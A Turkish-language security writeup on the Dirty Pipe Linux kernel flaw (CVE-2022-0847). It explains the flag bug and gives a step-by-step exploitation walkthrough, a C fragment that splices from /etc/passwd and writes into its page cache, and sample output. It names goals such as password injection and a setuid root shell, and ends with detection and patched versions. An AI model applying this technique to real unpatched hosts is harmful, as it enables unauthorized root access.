Skip to content

Dirty Pipe pipe page-cache write (CVE-2022-0847)

Splice ile yüklenmiş bir pipe buffer üzerindeki bayatlamış, initialize edilmemiş bir PIPE_BUF_FLAG_CAN_MERGE flag'i, unprivileged bir process'in datayı doğrudan read-only bir dosyanın page cache'ine merge etmesine izin verir.

Mechanism

Dirty Pipe, struct pipe_buffer'da initialize-edilmemiş-flags bir bug'dır. 241699cd72a8 commit'i ("new iov_iter flavour: pipe-backed", Linux 4.9, 2016), buffer'ın flags member'ını asla initialize etmeyen pipe-buffer allocation path'leri sundu. Bu, Linux 5.8'in f6dd975583bd commit'i ("pipe: merge anon_pipe_buf_ops") per-buffer flag PIPE_BUF_FLAG_CAN_MERGE'e bir anlam verene dek zararsızdı: bu flag pipe write path'ine, sonraki bir write()'ın taze bir anonymous page allocate etmek yerine mevcut buffer'ın backing page'ine append edebileceğini* söyler.

Note

Invariant şu: yalnızca pipe-owned bir anonymous page'e merge edilebilir; splice() üzerinden referans edilen bir page-cache page pipe üzerinden asla writable olmamalı. Anonymous pipe write'ları anon_pipe_buf_ops kullanır (mergeable, page'in sahibi pipe'tır). splice() ile çekilen dosya datası page_cache_pipe_buf_ops kullanır ve gerçek bir page-cache page'e işaret eder. Bug şu: copy_page_to_iter_pipe() (ve push_pipe()) dosya datasını bir pipe_buffer'a yüklediğinde, flags'ı initialize edilmemiş bırakırlar, böylece önceden kullanılmış bir anonymous buffer'dan kalan bayatlamış bir PIPE_BUF_FLAG_CAN_MERGE, page-cache destekli buffer üzerinde set kalır. Pipe'a sonraki write() o zaman attacker'ın byte'larını doğrudan dosyanın page cache'ine merge eder. Bir pipe'a yazmak hiçbir file-permission kontrolü yapmaz ve page cache kernel-writable'dır, yani bu read-only dosyaları, immutable dosyaları, read-only mount'lardaki dosyaları ve read-only btrfs snapshot'larını overwrite eder (değişiklik yalnızca cache'te kalır, disk'e persist olmaz).

Warning

Kısıtlamalar: attacker'ın hâlâ hedef dosyaya read erişimi gerekir; write bir page boundary'de başlayamaz (mergeable buffer'ı kurmak için hedef offset'inden hemen önceki byte'ı splice edersin); write bir page boundary'sini geçemez; ve dosya resize edilemez (değişiklik cache'te, disk'e append edilmiş değil).

Walkthrough

Max Kellermann'ın PoC'si beş adımdır:

1. Create a pipe.
2. Fill the pipe completely with arbitrary bytes, so every
   struct pipe_buffer on the ring has PIPE_BUF_FLAG_CAN_MERGE set.
3. Drain the pipe (read all the data back out). The buffers are
   now empty but the stale CAN_MERGE flag remains.
4. splice() one byte from the read-only target file into the pipe,
   at the offset immediately before the bytes you want to overwrite:
        splice(fd_target, &offset, pipe_w, NULL, 1, 0);
   copy_page_to_iter_pipe() never clears flags, so the spliced
   page-cache buffer keeps the stale CAN_MERGE flag.
5. write(pipe_w, payload, len);
   Instead of allocating a new buffer, the write merges payload
   into the page-cache page of the read-only target file.

Hedef O_RDONLY açılır ve hiç write permission gerekmez:

int fd = open("/etc/passwd", O_RDONLY);  // read-only is enough
// prepare_pipe(): fill then drain to set+leave CAN_MERGE
prepare_pipe(p);
loff_t off = offset - 1;
ssize_t n = splice(fd, &off, p[1], NULL, 1, 0);   // load 1 byte
write(p[1], data, data_size);                     // merge into cache
Beklenen sonuç

$ ./dirtypipe /etc/passwd 4 'AAAAAAAA...'
Splicing 1 byte from offset 3 into the pipe...
Writing 8 bytes to the pipe...
It worked!
Read-only dosyanın cache'lenmiş içeriğinin byte'ları artık attacker-controlled. Klasik hedefler: /etc/passwd'a bilinen bir password hash inject etmek veya bir root shell elde etmek için root-owned bir setuid binary'nin cache'lenmiş byte'larını overwrite etmek (onu geçici olarak hijack ederek).

Detection

  • Read-only dosyalardan küçük uzunlukların splice()'ı, hemen ardından aynı pipe'a write() gelmesi anormaldir; pipe'lar üzerinde splice/write çiftlerini trace et.
  • Karşılık gelen bir on-disk değişiklik olmadan cache'lenmiş read-only system dosyalarının (/etc/passwd, package-owned binary'ler) beklenmedik şekilde değişmesine dikkat et.

Mitigation

Linux 5.16.11, 5.15.25 ve 5.10.102'de, copy_page_to_iter_pipe() ve push_pipe() içinde flags member'ı initialize edilerek düzeltildi. Etkilenen: o fix'lere kadar 5.8 (ve stable backport'lar 5.15.0-5.15.24, 5.10.0-5.10.101, 5.16.0-5.16.10).

References